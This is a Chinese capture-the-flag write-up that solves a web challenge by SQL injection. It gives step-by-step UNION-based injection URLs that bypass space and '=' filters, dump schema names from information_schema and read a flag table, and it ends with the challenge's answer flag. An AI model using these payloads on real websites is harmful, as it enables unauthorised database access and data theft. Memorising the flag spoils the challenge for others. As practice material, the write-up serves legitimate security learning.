[SWPUCTF 2021 新生赛]sql

发布时间 2023-09-02 22:04:24作者: y0Zero

[SWPUCTF 2021 新生赛]sql

题目来源:nssctf

题目类型:web

涉及考点:SQL注入

1. 又是熟悉的杰哥,先尝试判断闭合类型、回显列数

  • 判断闭合类型:

/?wllm=1

/?wllm=1'

/?wllm=1'%23

%23是#的url编码

判断得到闭合类型为单引号闭合

  • 判断回显列数:

/?wllm=1' group by 3%23

这里是过滤了空格,我们用/**/来绕过

/?wllm=1'/**/group/**/by/**/3%23

/?wllm=1'/**/group/**/by/**/4%23

判断得回显列数为3

2. 尝试union注入

  • 判断回显位:

/?wllm=-1'/**/union/**/select/**/1,2,3%23

  • 爆库名:
  • 爆表名:
/?wllm=-1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/database()%23

此处是过滤了=,用like来绕过

  • 我们直接查看LTLT_flag的内容,爆字段名:
/?wllm=-1'/**/union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/database()%23
  • 查询flag:
/?wllm=-1'/**/union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_flag%23

发现显示不全,我们使用substring连接:

/?wllm=-1'/**/union/**/select/**/1,2,substring(group_concat(flag),1,30)/**/from/**/test_db.LTLT_flag%23

发现被过滤了,换mid试试:

/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),1,20)/**/from/**/test_db.LTLT_flag%23
/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),21,20)/**/from/**/test_db.LTLT_flag%23
/?wllm=-1'/**/union/**/select/**/1,2,mid(group_concat(flag),41,20)/**/from/**/test_db.LTLT_flag%23

注意:mid最大回显长度为20个字符

拼接一下即可得到flag:

NSSCTF{ad72b551-c7a7-4a13-abf2-3a0311d8d7cf}

日期:2023.9.2

作者:y0Zero